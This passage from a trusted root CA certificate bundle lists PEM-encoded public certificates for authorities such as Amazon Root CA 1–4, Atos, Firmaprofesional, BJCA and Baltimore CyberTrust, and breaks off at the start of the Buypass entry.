      VVMxFDASBgNVBAoMC0FmZmlybVRydXN0MSAwHgYDVQQDDBdBZmZpcm1UcnVzdCBQ
      cmVtaXVtIEVDQzAeFw0xMDAxMjkxNDIwMjRaFw00MDEyMzExNDIwMjRaMEUxCzAJ
      BgNVBAYTAlVTMRQwEgYDVQQKDAtBZmZpcm1UcnVzdDEgMB4GA1UEAwwXQWZmaXJt
      VHJ1c3QgUHJlbWl1bSBFQ0MwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQNMF4bFZ0D
      0KF5Nbc6PJJ6yhUczWLznCZcBz3lVPqj1swS6vQUX+iOGasvLkjmrBhDeKzQN8O9
      ss0s5kfiGuZjuD0uL3jET9v0D6RoTFVya5UdThhClXjMNzyR4ptlKymjQjBAMB0G
      A1UdDgQWBBSaryl6wBE1NSZRMADDav5A1a7WPDAPBgNVHRMBAf8EBTADAQH/MA4G
      A1UdDwEB/wQEAwIBBjAKBggqhkjOPQQDAwNnADBkAjAXCfOHiFBar8jAQr9HX/Vs
      aobgxCd05DhT1wV/GzTjxi+zygk8N53X57hG8f2h4nECMEJZh0PUUd+60wkyWs6I
      flc9nF9Ca/UHLbXwgpP5WW+uZPpY5Yse42O+tYHNbwKMeQ==
      -----END CERTIFICATE-----

      # Amazon Root CA 1
      -----BEGIN CERTIFICATE-----
      MIIDQTCCAimgAwIBAgITBmyfz5m/jAo54vB4ikPmljZbyjANBgkqhkiG9w0BAQsF
      ADA5MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6
      b24gUm9vdCBDQSAxMB4XDTE1MDUyNjAwMDAwMFoXDTM4MDExNzAwMDAwMFowOTEL
      MAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJv
      b3QgQ0EgMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALJ4gHHKeNXj
      ca9HgFB0fW7Y14h29Jlo91ghYPl0hAEvrAIthtOgQ3pOsqTQNroBvo3bSMgHFzZM
      9O6II8c+6zf1tRn4SWiw3te5djgdYZ6k/oI2peVKVuRF4fn9tBb6dNqcmzU5L/qw
      IFAGbHrQgLKm+a/sRxmPUDgH3KKHOVj4utWp+UhnMJbulHheb4mjUcAwhmahRWa6
      VOujw5H5SNz/0egwLX0tdHA114gk957EWW67c4cX8jJGKLhD+rcdqsq08p8kDi1L
      93FcXmn/6pUCyziKrlA4b9v7LWIbxcceVOF34GfID5yHI9Y/QCB/IIDEgEw+OyQm
      jgSubJrIqg0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
      AYYwHQYDVR0OBBYEFIQYzIU07LwMlJQuCFmcx7IQTgoIMA0GCSqGSIb3DQEBCwUA
      A4IBAQCY8jdaQZChGsV2USggNiMOruYou6r4lK5IpDB/G/wkjUu0yKGX9rbxenDI
      U5PMCCjjmCXPI6T53iHTfIUJrU6adTrCC2qJeHZERxhlbI1Bjjt/msv0tadQ1wUs
      N+gDS63pYaACbvXy8MWy7Vu33PqUXHeeE6V/Uq2V8viTO96LXFvKWlJbYK8U90vv
      o/ufQJVtMVT8QtPHRh8jrdkPSHCa2XV4cdFyQzR1bldZwgJcJmApzyMZFo6IQ6XU
      5MsI+yMRQ+hDKXJioaldXgjUkK642M4UwtBV8ob2xJNDd2ZhwLnoQdeXeGADbkpy
      rqXRfboQnoZsG4q5WTP468SQvvG5
      -----END CERTIFICATE-----

      # Amazon Root CA 2
      -----BEGIN CERTIFICATE-----
      MIIFQTCCAymgAwIBAgITBmyf0pY1hp8KD+WGePhbJruKNzANBgkqhkiG9w0BAQwF
      ADA5MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6
      b24gUm9vdCBDQSAyMB4XDTE1MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTEL
      MAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJv
      b3QgQ0EgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK2Wny2cSkxK
      gXlRmeyKy2tgURO8TW0G/LAIjd0ZEGrHJgw12MBvIITplLGbhQPDW9tK6Mj4kHbZ
      W0/jTOgGNk3Mmqw9DJArktQGGWCsN0R5hYGCrVo34A3MnaZMUnbqQ523BNFQ9lXg
      1dKmSYXpN+nKfq5clU1Imj+uIFptiJXZNLhSGkOQsL9sBbm2eLfq0OQ6PBJTYv9K
      8nu+NQWpEjTj82R0Yiw9AElaKP4yRLuH3WUnAnE72kr3H9rN9yFVkE8P7K6C4Z9r
      2UXTu/Bfh+08LDmG2j/e7HJV63mjrdvdfLC6HM783k81ds8P+HgfajZRRidhW+me
      z/CiVX18JYpvL7TFz4QuK/0NURBs+18bvBt+xa47mAExkv8LV/SasrlX6avvDXbR
      8O70zoan4G7ptGmh32n2M8ZpLpcTnqWHsFcQgTfJU7O7f/aS0ZzQGPSSbtqDT6Zj
      mUyl+17vIWR6IF9sZIUVyzfpYgwLKhbcAS4y2j5L9Z469hdAlO+ekQiG+r5jqFoz
      7Mt0Q5X5bGlSNscpb/xVA1wf+5+9R+vnSUeVC06JIglJ4PVhHvG/LopyboBZ/1c6
      +XUyo05f7O0oYtlNc/LMgRdg7c3r3NunysV+Ar3yVAhU/bQtCSwXVEqY0VThUWcI
      0u1ufm8/0i2BWSlmy5A5lREedCf+3euvAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMB
      Af8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSwDPBMMPQFWAJI/TPlUq9LhONm
      UjANBgkqhkiG9w0BAQwFAAOCAgEAqqiAjw54o+Ci1M3m9Zh6O+oAA7CXDpO8Wqj2
      LIxyh6mx/H9z/WNxeKWHWc8w4Q0QshNabYL1auaAn6AFC2jkR2vHat+2/XcycuUY
      +gn0oJMsXdKMdYV2ZZAMA3m3MSNjrXiDCYZohMr/+c8mmpJ5581LxedhpxfL86kS
      k5Nrp+gvU5LEYFiwzAJRGFuFjWJZY7attN6a+yb3ACfAXVU3dJnJUH/jWS5E4ywl
      7uxMMne0nxrpS10gxdr9HIcWxkPo1LsmmkVwXqkLN1PiRnsn/eBG8om3zEK2yygm
      btmlyTrIQRNg91CMFa6ybRoVGld45pIq2WWQgj9sAq+uEjonljYE1x2igGOpm/Hl
      urR8FLBOybEfdF849lHqm/osohHUqS0nGkWxr7JOcQ3AWEbWaQbLU8uz/mtBzUF+
      fUwPfHJ5elnNXkoOrJupmHN5fLT0zLm4BwyydFy4x2+IoZCn9Kr5v2c69BoVYh63
      n749sSmvZ6ES8lgQGVMDMBu4Gon2nL2XA46jCfMdiyHxtN/kHNGfZQIG6lzWE7OE
      76KlXIx3KadowGuuQNKotOrN8I1LOJwZmhsoVLiJkO/KdYE+HvJkJMcYr07/R54H
      9jVlpNMKVv/1F2Rs76giJUmTtt8AF9pYfl3uxRuw0dFfIRDH+fO6AgonB8Xx1sfT
      4PsJYGw=
      -----END CERTIFICATE-----

      # Amazon Root CA 3
      -----BEGIN CERTIFICATE-----
      MIIBtjCCAVugAwIBAgITBmyf1XSXNmY/Owua2eiedgPySjAKBggqhkjOPQQDAjA5
      MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24g
      Um9vdCBDQSAzMB4XDTE1MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkG
      A1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJvb3Qg
      Q0EgMzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABCmXp8ZBf8ANm+gBG1bG8lKl
      ui2yEujSLtf6ycXYqm0fc4E7O5hrOXwzpcVOho6AF2hiRVd9RFgdszflZwjrZt6j
      QjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSr
      ttvXBp43rDCGB5Fwx5zEGbF4wDAKBggqhkjOPQQDAgNJADBGAiEA4IWSoxe3jfkr
      BqWTrBqYaGFy+uGh0PsceGCmQ5nFuMQCIQCcAu/xlJyzlvnrxir4tiz+OpAUFteM
      YyRIHN8wfdVoOw==
      -----END CERTIFICATE-----

      # Amazon Root CA 4
      -----BEGIN CERTIFICATE-----
      MIIB8jCCAXigAwIBAgITBmyf18G7EEwpQ+Vxe3ssyBrBDjAKBggqhkjOPQQDAzA5
      MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24g
      Um9vdCBDQSA0MB4XDTE1MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkG
      A1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJvb3Qg
      Q0EgNDB2MBAGByqGSM49AgEGBSuBBAAiA2IABNKrijdPo1MN/sGKe0uoe0ZLY7Bi
      9i0b2whxIdIA6GO9mif78DluXeo9pcmBqqNbIJhFXRbb/egQbeOc4OO9X4Ri83Bk
      M6DLJC9wuoihKqB1+IGuYgbEgds5bimwHvouXKNCMEAwDwYDVR0TAQH/BAUwAwEB
      /zAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0OBBYEFNPsxzplbszh2naaVvuc84ZtV+WB
      MAoGCCqGSM49BAMDA2gAMGUCMDqLIfG9fhGt0O9Yli/W651+kI0rz2ZVwyzjKKlw
      CkcO8DdZEv8tmZQoTipPNU0zWgIxAOp1AE47xDqUEpHJWEadIRNyp4iciuRMStuW
      1KyLa2tJElMzrdfkviT8tQp21KW8EA==
      -----END CERTIFICATE-----

      # Atos TrustedRoot 2011
      -----BEGIN CERTIFICATE-----
      MIIDdzCCAl+gAwIBAgIIXDPLYixfszIwDQYJKoZIhvcNAQELBQAwPDEeMBwGA1UE
      AwwVQXRvcyBUcnVzdGVkUm9vdCAyMDExMQ0wCwYDVQQKDARBdG9zMQswCQYDVQQG
      EwJERTAeFw0xMTA3MDcxNDU4MzBaFw0zMDEyMzEyMzU5NTlaMDwxHjAcBgNVBAMM
      FUF0b3MgVHJ1c3RlZFJvb3QgMjAxMTENMAsGA1UECgwEQXRvczELMAkGA1UEBhMC
      REUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCVhTuXbyo7LjvPpvMp
      Nb7PGKw+qtn4TaA+Gke5vJrf8v7MPkfoepbCJI419KkM/IL9bcFyYie96mvr54rM
      VD6QUM+A1JX76LWC1BTFtqlVJVfbsVD2sGBkWXppzwO3bw2+yj5vdHLqqjAqc2K+
      SZFhyBH+DgMq92og3AIVDV4VavzjgsG1xZ1kCWyjWZgHJ8cblithdHFsQ/H3NYkQ
      4J7sVaE3IqKHBAUsR320HLliKWYoyrfhk/WklAOZuXCFteZI6o1Q/NnezG8HDt0L
      cp2AMBYHlT8oDv3FdU9T1nSatCQujgKRz3bFmx5VdJx4IbHwLfELn8LVlhgf8FQi
      eowHAgMBAAGjfTB7MB0GA1UdDgQWBBSnpQaxLKYJYO7Rl+lwrrw7GWzbITAPBgNV
      HRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKelBrEspglg7tGX6XCuvDsZbNshMBgG
      A1UdIAQRMA8wDQYLKwYBBAGwLQMEAQEwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3
      DQEBCwUAA4IBAQAmdzTblEiGKkGdLD4GkGDEjKwLVLgfuXvTBznk+j57sj1O7Z8j
      vZfza1zv7v1Apt+hk6EKhqzvINB5Ab149xnYJDE0BAGmuhWawyfc2E8PzBhj/5kP
      DpFrdRbhIfzYJsdHt6bPWHJxfrrhTZVHO8mvbaG0weyJ9rQPOLXiZNwlz6bb65pc
      maHFCN795trV1lpFDMS3wrUU77QR/w4VtfX128a961qn8FYiqTxlVMYVqL2Gns2D
      lmh6cYGJ4Qvh6hEbaAjMaZ7snkGeRDImeuKHCnE96+RapNLbxc3G3mB/ufNPRJLv
      KrcYPqcZ2Qt9sTdBQrC6YB3y/gkRsPCHe6ed
      -----END CERTIFICATE-----

      # Atos TrustedRoot Root CA ECC TLS 2021
      -----BEGIN CERTIFICATE-----
      MIICFTCCAZugAwIBAgIQPZg7pmY9kGP3fiZXOATvADAKBggqhkjOPQQDAzBMMS4w
      LAYDVQQDDCVBdG9zIFRydXN0ZWRSb290IFJvb3QgQ0EgRUNDIFRMUyAyMDIxMQ0w
      CwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0yMTA0MjIwOTI2MjNaFw00MTA0
      MTcwOTI2MjJaMEwxLjAsBgNVBAMMJUF0b3MgVHJ1c3RlZFJvb3QgUm9vdCBDQSBF
      Q0MgVExTIDIwMjExDTALBgNVBAoMBEF0b3MxCzAJBgNVBAYTAkRFMHYwEAYHKoZI
      zj0CAQYFK4EEACIDYgAEloZYKDcKZ9Cg3iQZGeHkBQcfl+3oZIK59sRxUM6KDP/X
      tXa7oWyTbIOiaG6l2b4siJVBzV3dscqDY4PMwL502eCdpO5KTlbgmClBk1IQ1SQ4
      AjJn8ZQSb+/Xxd4u/RmAo0IwQDAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR2
      KCXWfeBmmnoJsmo7jjPXNtNPojAOBgNVHQ8BAf8EBAMCAYYwCgYIKoZIzj0EAwMD
      aAAwZQIwW5kp85wxtolrbNa9d+F851F+uDrNozZffPc8dz7kUK2o59JZDCaOMDtu
      CCrCp1rIAjEAmeMM56PDr9NJLkaCI2ZdyQAUEv049OGYa3cpetskz2VAv9LcjBHo
      9H1/IISpQuQo
      -----END CERTIFICATE-----

      # Atos TrustedRoot Root CA RSA TLS 2021
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # Autoridad de Certificacion Firmaprofesional CIF A62634068
      -----BEGIN CERTIFICATE-----
      MIIGFDCCA/ygAwIBAgIIG3Dp0v+ubHEwDQYJKoZIhvcNAQELBQAwUTELMAkGA1UE
      BhMCRVMxQjBABgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1h
      cHJvZmVzaW9uYWwgQ0lGIEE2MjYzNDA2ODAeFw0xNDA5MjMxNTIyMDdaFw0zNjA1
      MDUxNTIyMDdaMFExCzAJBgNVBAYTAkVTMUIwQAYDVQQDDDlBdXRvcmlkYWQgZGUg
      Q2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBBNjI2MzQwNjgwggIi
      MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDDUtd9
      thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQM
      cas9UX4PB99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefG
      L9ItWY16Ck6WaVICqjaY7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15i
      NA9wBj4gGFrO93IbJWyTdBSTo3OxDqqHECNZXyAFGUftaI6SEspd/NYrspI8IM/h
      X68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyIplD9amML9ZMWGxmPsu2b
      m8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctXMbScyJCy
      Z/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirja
      EbsXLZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/T
      KI8xWVvTyQKmtFLKbpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF
      6NkBiDkal4ZkQdU7hwxu+g/GvUgUvzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVh
      OSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMB0GA1UdDgQWBBRlzeurNR4APn7VdMAc
      tHNHDhpkLzASBgNVHRMBAf8ECDAGAQH/AgEBMIGmBgNVHSAEgZ4wgZswgZgGBFUd
      IAAwgY8wLwYIKwYBBQUHAgEWI2h0dHA6Ly93d3cuZmlybWFwcm9mZXNpb25hbC5j
      b20vY3BzMFwGCCsGAQUFBwICMFAeTgBQAGEAcwBlAG8AIABkAGUAIABsAGEAIABC
      AG8AbgBhAG4AbwB2AGEAIAA0ADcAIABCAGEAcgBjAGUAbABvAG4AYQAgADAAOAAw
      ADEANzAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZIhvcNAQELBQADggIBAHSHKAIrdx9m
      iWTtj3QuRhy7qPj4Cx2Dtjqn6EWKB7fgPiDL4QjbEwj4KKE1soCzC1HA01aajTNF
      Sa9J8OA9B3pFE1r/yJfY0xgsfZb43aJlQ3CTkBW6kN/oGbDbLIpgD7dvlAceHabJ
      hfa9NPhAeGIQcDq+fUs5gakQ1JZBu/hfHAsdCPKxsIl68veg4MSPi3i1O1ilI45P
      Vf42O+AMt8oqMEEgtIDNrvx2ZnOorm7hfNoD6JQg5iKj0B+QXSBTFCZX2lSX3xZE
      EAEeiGaPcjiT3SC3NL7X8e5jjkd5KAb881lFJWAiMxujX6i6KtoaPc1A6ozuBRWV
      1aUsIC+nmCjuRfzxuIgALI9C2lHVnOUTaHFFQ4ueCyE8S1wF3BqfmI7avSKecs2t
      CsvMo2ebKHTEm9caPARYpoKdrcd7b/+Alun4jWq9GJAd/0kakFI3ky88Al2CdgtR
      5xbHV/g4+afNmyJU72OwFW1TZQNKXkqgsqeOSQBZONXH9IBk9W6VULgRfhVwOEqw
      f9DEMnDAGf/JOC0ULGb0QkTmVXYbgBVX/8Cnp6o5qtjTcNAuuuuUavpfNIbnYrX9
      ivAwhZTJryQCL2/W3Wf+47BVTwSYT6RBVuKT0Gro1vP7ZeDOdcQxWQzugsgMYDNK
      GbqEZycPvEJdvSRUDewdcAZfpLz6IHxV
      -----END CERTIFICATE-----

      # BJCA Global Root CA1
      -----BEGIN CERTIFICATE-----
      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
      r/6zcCwupvI=
      -----END CERTIFICATE-----

      # BJCA Global Root CA2
      -----BEGIN CERTIFICATE-----
      MIICJTCCAaugAwIBAgIQLBcIfWQqwP6FGFkGz7RK6zAKBggqhkjOPQQDAzBUMQsw
      CQYDVQQGEwJDTjEmMCQGA1UECgwdQkVJSklORyBDRVJUSUZJQ0FURSBBVVRIT1JJ
      VFkxHTAbBgNVBAMMFEJKQ0EgR2xvYmFsIFJvb3QgQ0EyMB4XDTE5MTIxOTAzMTgy
      MVoXDTQ0MTIxMjAzMTgyMVowVDELMAkGA1UEBhMCQ04xJjAkBgNVBAoMHUJFSUpJ
      TkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZMR0wGwYDVQQDDBRCSkNBIEdsb2JhbCBS
      b290IENBMjB2MBAGByqGSM49AgEGBSuBBAAiA2IABJ3LgJGNU2e1uVCxA/jlSR9B
      IgmwUVJY1is0j8USRhTFiy8shP8sbqjV8QnjAyEUxEM9fMEsxEtqSs3ph+B99iK+
      +kpRuDCK/eHeGBIK9ke35xe/J4rUQUyWPGCWwf0VHKNCMEAwHQYDVR0OBBYEFNJK
      sVF/BvDRgh9Obl+rg/xI1LCRMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQD
      AgEGMAoGCCqGSM49BAMDA2gAMGUCMBq8W9f+qdJUDkpd0m2xQNz0Q9XSSpkZElaA
      94M04TVOSG0ED1cxMDAtsaqdAzjbBgIxAMvMh1PLet8gUXOQwKhbYdDFUDn9hf7B
      43j4ptZLvZuHjw/l1lOWqzzIQNph91Oj9w==
      -----END CERTIFICATE-----

      # Baltimore CyberTrust Root
      -----BEGIN CERTIFICATE-----
      MIIDdzCCAl+gAwIBAgIEAgAAuTANBgkqhkiG9w0BAQUFADBaMQswCQYDVQQGEwJJ
      RTESMBAGA1UEChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYD
      VQQDExlCYWx0aW1vcmUgQ3liZXJUcnVzdCBSb290MB4XDTAwMDUxMjE4NDYwMFoX
      DTI1MDUxMjIzNTkwMFowWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9y
      ZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVy
      VHJ1c3QgUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKMEuyKr
      mD1X6CZymrV51Cni4eiVgLGw41uOKymaZN+hXe2wCQVt2yguzmKiYv60iNoS6zjr
      IZ3AQSsBUnuId9Mcj8e6uYi1agnnc+gRQKfRzMpijS3ljwumUNKoUMMo6vWrJYeK
      mpYcqWe4PwzV9/lSEy/CG9VwcPCPwBLKBsua4dnKM3p31vjsufFoREJIE9LAwqSu
      XmD+tqYF/LTdB1kC1FkYmGP1pWPgkAx9XbIGevOF6uvUA65ehD5f/xXtabz5OTZy
      dc93Uk3zyZAsuT3lySNTPx8kmCFcB5kpvcY67Oduhjprl3RjM71oGDHweI12v/ye
      jl0qhqdNkNwnGjkCAwEAAaNFMEMwHQYDVR0OBBYEFOWdWTCCR1jMrPoIVDaGezq1
      BE3wMBIGA1UdEwEB/wQIMAYBAf8CAQMwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3
      DQEBBQUAA4IBAQCFDF2O5G9RaEIFoN27TyclhAO992T9Ldcw46QQF+vaKSm2eT92
      9hkTI7gQCvlYpNRhcL0EYWoSihfVCr3FvDB81ukMJY2GQE/szKN+OMY3EU/t3Wgx
      jkzSswF07r51XgdIGn9w/xZchMB5hbgF/X++ZRGjD8ACtPhSNzkE1akxehi/oCr0
      Epn3o0WC4zxe9Z2etciefC7IpJ5OCBRLbf1wbWsaY71k5h+3zvDyny67G7fyUIhz
      ksLi4xaNmjICq44Y3ekQEe5+NauQrz4wlHrQMz2nZQ/1/I6eYs9HRCwBXbsdtTLS
      R9I4LtD+gdwyah617jzV/OeBHRnDJELqYzmp
      -----END CERTIFICATE-----

      # Buypass Class 2 Root CA
      -----BEGIN CERTIFICATE-----
      MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEd
